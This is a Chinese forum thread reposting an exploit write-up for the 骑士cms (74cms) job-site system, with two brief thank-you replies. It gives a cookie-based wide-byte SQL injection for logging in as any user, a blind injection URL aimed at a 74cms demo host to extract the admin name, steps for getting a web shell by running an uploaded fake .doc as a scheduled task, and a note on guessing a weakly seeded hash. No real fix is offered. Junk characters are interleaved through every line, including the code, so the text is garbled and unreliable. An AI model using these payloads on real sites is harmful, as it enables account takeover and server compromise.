找回密码
 加入怎通
查看: 476|回复: 2

[SEM行业] 骑士cms注入及后台拿shell

[复制链接]
寻路者 发表于 2013-01-07 16:50:49 | 显示全部楼层 |阅读模式
0x1 任意用户登录- \$ F* r4 {4 ]5 \, L& W4 \

( ^5 V( B  D# v8 Z  0x2 盲注
: c- V* c" R2 Z) @$ G8 {" G1 R" @, h  A2 b$ X9 |% ?' c
  0x3 后台拿shell
" r; ?; q9 ~3 p. ^$ x* v( L  |2 r2 J0 w' ]+ S4 r( u& q( e) R: k
  0x4 随机函数问题
' ]5 F! P  N' [7 ~4 _6 n0 I, ~5 G2 K8 {" E2 n6 e
  详细说明:
3 n5 r( [+ m4 R2 r1 }
8 J* V6 P  ^8 }# V  0x1 任意用户登录
# [% \. y' Y) _9 R: k9 }  s, u$ s
  user/login.php
/ p7 ]5 @  V& p" P
9 k; L4 l5 G/ `8 T$ h0 w: r  elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
* H2 b& E8 `- e* q! @; u& C' S! }: d4 q. {
  {
4 m; _* k) z+ C5 D
5 j' G1 O" [+ B& B  if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))+ K. f0 g9 j6 h2 `6 \% W' h& o

" g& t: _. W2 }0 J+ w  {, ?0 Z) ?8 h3 g

, e- `. D! c6 c8 l. m  update_user_info($_COOKIE['QS']['uid'],false,false);$ x9 N5 F0 E2 _, n3 ]4 O

# w6 S4 j+ y5 C1 k) I- U& Y2 G  header("Location:".get_member_url($_SESSION['utype']));
' h3 o, k$ C3 L  \  n' N" X5 }- q  ^) t7 B9 }# o. C
  }
& O( i5 u' q2 C& D# \; D& y$ o
  else3 v/ I# Z4 z1 z* z7 E

% b7 j: P- @1 k/ W# Q; z  {
( Z- f0 d% x2 d: w$ Q1 b5 z$ P# J! t  k- M6 e9 N! c$ Q
  unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);8 Q5 `* s/ C  D0 E

( M) s( R+ C- C/ r! h  setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);$ m( h" l3 l) _' H1 \$ R) E

5 p& W) _  a4 W" }  setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);* F5 q3 |. \5 J

, U8 o- M' s0 [/ J0 W  setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
0 E  ~" P) W# Z
4 U2 @5 {$ R  |- C+ J  setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);4 `; E4 U' `. U4 f+ E5 x2 Z3 L

4 b% x8 ?5 i. A+ {  Z' W  header("Location:".url_rewrite('QS_login'));1 N7 \$ r: s8 q( N! r$ Z" W/ e" U
7 {3 P1 X( W. Q, k7 e1 Q
  }
2 Y% T+ C1 w. C8 R1 Q8 {! t0 I8 b) [4 J% i* G
  }
  r7 L4 i8 D$ h! `' z2 l6 l* o& w4 w; H1 y1 S8 Y2 ~4 H( u4 s, Z
  include/fun_user.php
7 k9 Q; y; D' `: m
- O6 l# M) n- B( {5 R8 z  //检测COOKIE
. @, {: c/ [: S8 B" ]- B' e% I$ U9 ?$ _4 K: j
  function check_cookie($name,$pwd){8 X4 J7 V4 ?; ]( p# r/ C  R: p

, H* w% N- o+ t$ I% m! C6 K  global $db;: j1 }; u. h' G. G4 [# v' T* |- Z

9 `& ^7 O0 ^1 {1 C2 A  $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");1 f! o& m* @% x/ y3 c
( E4 Z6 j- j: p9 X, F$ w
  if($row['num'] > 0)1 Q$ B* c$ c& _3 ~% @# T
; M" x* @4 S. l# Q  m& I2 f
  {9 u  [1 t: c% P7 \

& d1 ?( X  {; T7 |. x- [& X+ v; E  return true;- ]! @0 H7 {. H, K3 Z( {
& J' e- n. Z% r8 H
  }else{
" f1 v+ h" i+ n6 p4 O$ ]! ~
9 [% h# e; M+ v3 ^3 t( u  return false;/ S; @) X# Q# G2 L; U6 ?
$ ~1 Y, T4 e: F8 u; `  c: o
  }
- N3 \0 ^: ?) n% c  i8 |9 u, I4 b7 p$ V7 E
  }! d0 ^% x$ ^8 e7 I& H- L. g, x1 I

7 \, u5 p5 Q- ?3 o  构造cookie如下, Q$ k1 e' K9 [0 {+ r
0 w* u9 s% E5 f. a
  QS[uid] 2& k3 b, c! t% i6 D& G4 \+ c/ b. W
( t1 ?5 A; M  C6 a+ H
  QS[utype] 14 \9 F% X. f/ i+ i' L# s  W! b
; @/ g0 c; Y. A/ F
  QS[password] 111111111111111111111
: _# u+ N* U2 g. P% m2 ]& R# a1 i9 }2 i7 c8 T# P# x" k
  QS[username]%bf%27 or 1=1 %236 s( X$ S5 m6 T) ^, [

* u9 \' g3 l; f2 h  uid 为假冒用户的ID utype为用户类型password任意
+ J# o' U) ]" C' z; ^$ O
7 E9 I+ P2 n; I; W; ]  0x2 盲注5 n- R2 _7 r) U3 y$ d- [

; x& U3 g: H6 C: Y8 G! v* j2 p0 T  http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23
/ Z  ]$ {- n9 _1 N' ^0 k* g6 L- l0 ^% @
  上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面1 W9 s5 o% ?  }1 _2 ]! e1 l, R! j

) V/ x6 f4 z  Z$ w3 r" q  0x3 后台拿shell
* \$ I! G( X$ i0 V) F8 C4 {  A' F1 g* B  S% S
  1.先关闭csrf防御功能
2 V: D+ _- g# L& w( K0 ?$ d7 T; ~; V- e$ T( L4 R
  2.在hr工具箱中添加一个伪造的doc,内容为,记下路径data/hrtools/2012/06/1339941553308.doc. a" O  r7 `& y2 L, p/ I: x
3 r4 ~" U) ]$ b  \* C; ?* C
  3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc3 U. p8 Z- `* `3 X& F7 E  K  x" J
& m7 J. s/ x4 X; Z0 n. |' I
  4.然后执行# ^+ A1 j- q; T2 U. s& V- G) `

: m* a4 Y" I& y2 O7 s' W& \  0x4 随机函数问题(几乎可以无视,纯属个人YY)+ F$ P* w& U- J; q6 \# p; @
+ V: R$ f2 c. n7 b  U6 v4 }
  在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。
' c- R5 V( i$ |' J9 X9 H  L$ E# a2 b6 C
  这个$QS_pwdhash是由randstr生成
* q6 i! E1 q9 P# W* u- f- q$ `" Z- R! c2 y4 s
  function randstr($length=6)$ V% }8 S2 X+ m: D: R
$ n6 T$ @4 Y( R0 u
  {; J  Q* T- \' y+ `2 R; s2 `
+ P6 t) U' K# V9 B
  $hash='';
5 E  k) t& w1 ~
  ?7 G' W  X* e- o" q, d& t  $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';
0 L& G- e. [$ F! ^1 _9 `$ n3 P5 {3 `% C0 ?
  $max=strlen($chars)-1;. \" W0 t' Z' k8 e" i

' y/ a. Q4 B6 Q3 L( a6 {) ~1 }  mt_srand((double)microtime()*1000000);
: n' L: M" f* ]4 S" `8 u5 v4 O" O% \3 x2 Z3 T7 h6 W( A! {
  for($i=0;$i<$length;$i++) {/ N. ~7 P2 M! S5 B  k  V" ^
6 y; v# x) L0 E& x  Y$ ~! k( R
  $hash.=$chars[mt_rand(0,$max)];
+ L( M4 c- @# ^, f4 k# _7 c6 `2 Y, `7 Y2 m9 {; I" J
  }6 e6 }' J, n& J- |0 Q6 }/ I
  T8 ^3 S( @* h7 I: p% l
  return $hash;4 A; j; g: S3 \
. s: T% d+ m: O; B
  }
- `$ q# c- E8 x& y
* S+ ~$ T6 B# i: L) R7 J  j  生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼)
& S# e1 d/ {0 M+ |# v1 O$ e2 s
' w: O; U8 L: B  漏洞证明:
' r# H" _8 ~4 F8 I( C$ e8 K
3 z* {' H+ T: R) M% q  修复方案:
; L7 e" G! _0 ~0 \9 a% Q+ v: p7 Y# n9 m
  do it yourself~# y( f( J& P# H. i' M
+ j- F' L1 x$ p3 k% ~
解决一切网站安全,湖盟云防火墙:hnhack.com
回复

使用道具 举报

leonseo444 发表于 2026-01-07 03:59:27 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复 支持 反对

使用道具 举报

彼岸花 发表于 2026-03-13 13:46:09 | 显示全部楼层
刚好遇到类似问题,看完这个帖子心里有底了
回复 支持 反对

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-3-14 00:56 , Processed in 0.155956 second(s), 24 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表